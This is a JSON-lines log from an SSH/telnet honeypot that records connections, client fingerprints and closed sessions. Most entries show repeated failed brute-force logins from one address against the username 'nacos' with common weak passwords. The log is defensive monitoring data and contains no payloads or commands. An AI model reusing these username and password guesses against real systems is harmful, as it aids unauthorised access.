{"eventid":"cowrie.client.kex","hassh":"1616c6d18e845e7a01168a44591f7a35","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:41.024139Z","src_ip":"36.253.9.69","session":"e2d530cdf430","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.13372206687927,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:41.161639Z","src_ip":"38.60.198.128","session":"395ec2ab991c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"nacos","password":"ABCabc123","message":"login attempt [nacos/ABCabc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:42.061306Z","src_ip":"36.253.9.69","session":"e2d530cdf430","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.06221389770508,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:42.557396Z","src_ip":"38.60.198.128","session":"09f32ced9b4b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:43.305082Z","src_ip":"36.253.9.69","session":"e2d530cdf430","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.253.9.69","src_port":37540,"dst_ip":"10.17.0.5","dst_port":22,"session":"128d310a312d","protocol":"ssh","message":"New connection: 36.253.9.69:37540 (10.17.0.5:22) [session: 128d310a312d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:43.539846Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:43.545473Z","src_ip":"36.253.9.69","session":"128d310a312d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1616c6d18e845e7a01168a44591f7a35","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:43.786022Z","src_ip":"36.253.9.69","session":"128d310a312d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":46830,"dst_ip":"159.203.135.109","dst_port":23,"session":"e5422950272b","protocol":"telnet","message":"New connection: 38.60.198.128:46830 (159.203.135.109:23) [session: e5422950272b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:44.803122Z"}
{"eventid":"cowrie.login.failed","username":"nacos","password":"1234Qwer","message":"login attempt [nacos/1234Qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:44.835971Z","src_ip":"36.253.9.69","session":"128d310a312d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:46.079648Z","src_ip":"36.253.9.69","session":"128d310a312d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.253.9.69","src_port":37556,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f2341b94233","protocol":"ssh","message":"New connection: 36.253.9.69:37556 (10.17.0.5:22) [session: 3f2341b94233]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:46.311798Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:46.316882Z","src_ip":"36.253.9.69","session":"3f2341b94233","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.802488565444946,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:46.538710Z","src_ip":"192.211.53.160","session":"5e537c35a060","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"1616c6d18e845e7a01168a44591f7a35","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:46.553893Z","src_ip":"36.253.9.69","session":"3f2341b94233","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nacos","password":"welcome1","message":"login attempt [nacos/welcome1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:47.577534Z","src_ip":"36.253.9.69","session":"3f2341b94233","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:48.818137Z","src_ip":"36.253.9.69","session":"3f2341b94233","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.253.9.69","src_port":37986,"dst_ip":"10.17.0.5","dst_port":22,"session":"6b70efea4bbd","protocol":"ssh","message":"New connection: 36.253.9.69:37986 (10.17.0.5:22) [session: 6b70efea4bbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:49.090087Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:49.094997Z","src_ip":"36.253.9.69","session":"6b70efea4bbd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1616c6d18e845e7a01168a44591f7a35","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:49.360649Z","src_ip":"36.253.9.69","session":"6b70efea4bbd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nacos","password":"159753","message":"login attempt [nacos/159753] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:50.498371Z","src_ip":"36.253.9.69","session":"6b70efea4bbd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":55158,"dst_ip":"159.203.135.109","dst_port":23,"session":"d527c0004900","protocol":"telnet","message":"New connection: 38.60.198.128:55158 (159.203.135.109:23) [session: d527c0004900]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:51.493077Z"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:51.766624Z","src_ip":"36.253.9.69","session":"6b70efea4bbd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.253.9.69","src_port":37996,"dst_ip":"10.17.0.5","dst_port":22,"session":"5e49c1f6f4b3","protocol":"ssh","message":"New connection: 36.253.9.69:37996 (10.17.0.5:22) [session: 5e49c1f6f4b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:51.989943Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:51.994440Z","src_ip":"36.253.9.69","session":"5e49c1f6f4b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1616c6d18e845e7a01168a44591f7a35","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:52.234574Z","src_ip":"36.253.9.69","session":"5e49c1f6f4b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":56052,"dst_ip":"159.203.135.109","dst_port":23,"session":"43ca64a51ec3","protocol":"telnet","message":"New connection: 38.60.198.128:56052 (159.203.135.109:23) [session: 43ca64a51ec3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:52.320582Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":50662,"dst_ip":"159.203.135.109","dst_port":23,"session":"7aaa99880d83","protocol":"telnet","message":"New connection: 192.211.53.160:50662 (159.203.135.109:23) [session: 7aaa99880d83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:52.676219Z"}
{"eventid":"cowrie.login.failed","username":"nacos","password":"Root123!@#","message":"login attempt [nacos/Root123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:53.256949Z","src_ip":"36.253.9.69","session":"5e49c1f6f4b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":57758,"dst_ip":"159.203.135.109","dst_port":23,"session":"ab91a7839136","protocol":"telnet","message":"New connection: 38.60.198.128:57758 (159.203.135.109:23) [session: ab91a7839136]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:53.482376Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:54.499537Z","src_ip":"36.253.9.69","session":"5e49c1f6f4b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":2.217618465423584,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:54.538064Z","src_ip":"38.60.198.128","session":"43ca64a51ec3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"36.253.9.69","src_port":38012,"dst_ip":"10.17.0.5","dst_port":22,"session":"edb78e13e533","protocol":"ssh","message":"New connection: 36.253.9.69:38012 (10.17.0.5:22) [session: edb78e13e533]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:54.749268Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:54.754608Z","src_ip":"36.253.9.69","session":"edb78e13e533","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1616c6d18e845e7a01168a44591f7a35","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:55.005300Z","src_ip":"36.253.9.69","session":"edb78e13e533","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nacos","password":"qwe123!@#","message":"login attempt [nacos/qwe123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:56.084988Z","src_ip":"36.253.9.69","session":"edb78e13e533","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.788912534713745,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:56.813311Z","src_ip":"38.60.198.128","session":"db154f368242","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":34776,"dst_ip":"159.203.135.109","dst_port":23,"session":"19dbde55b29b","protocol":"telnet","message":"New connection: 38.60.198.128:34776 (159.203.135.109:23) [session: 19dbde55b29b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:57.116864Z"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:57.338405Z","src_ip":"36.253.9.69","session":"edb78e13e533","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.253.9.69","src_port":60438,"dst_ip":"10.17.0.5","dst_port":22,"session":"d923d172c0d4","protocol":"ssh","message":"New connection: 36.253.9.69:60438 (10.17.0.5:22) [session: d923d172c0d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:57.575397Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:57.580111Z","src_ip":"36.253.9.69","session":"d923d172c0d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1616c6d18e845e7a01168a44591f7a35","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:57.827959Z","src_ip":"36.253.9.69","session":"d923d172c0d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nacos","password":"qweqwe","message":"login attempt [nacos/qweqwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:58.883471Z","src_ip":"36.253.9.69","session":"d923d172c0d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.40449905395508,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:58.888992Z","src_ip":"38.60.198.128","session":"92a5d49cff5c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:00.137335Z","src_ip":"36.253.9.69","session":"d923d172c0d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.253.9.69","src_port":60448,"dst_ip":"10.17.0.5","dst_port":22,"session":"412e3b6af372","protocol":"ssh","message":"New connection: 36.253.9.69:60448 (10.17.0.5:22) [session: 412e3b6af372]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:00.374683Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:00.381884Z","src_ip":"36.253.9.69","session":"412e3b6af372","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1616c6d18e845e7a01168a44591f7a35","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:00.631828Z","src_ip":"36.253.9.69","session":"412e3b6af372","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nacos","password":"P@$$w0rd","message":"login attempt [nacos/P@$$w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:01.671242Z","src_ip":"36.253.9.69","session":"412e3b6af372","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":41828,"dst_ip":"159.203.135.109","dst_port":23,"session":"0c854e11ad2a","protocol":"telnet","message":"New connection: 38.60.198.128:41828 (159.203.135.109:23) [session: 0c854e11ad2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:02.337785Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:02.916128Z","src_ip":"36.253.9.69","session":"412e3b6af372","protocol":"ssh"}
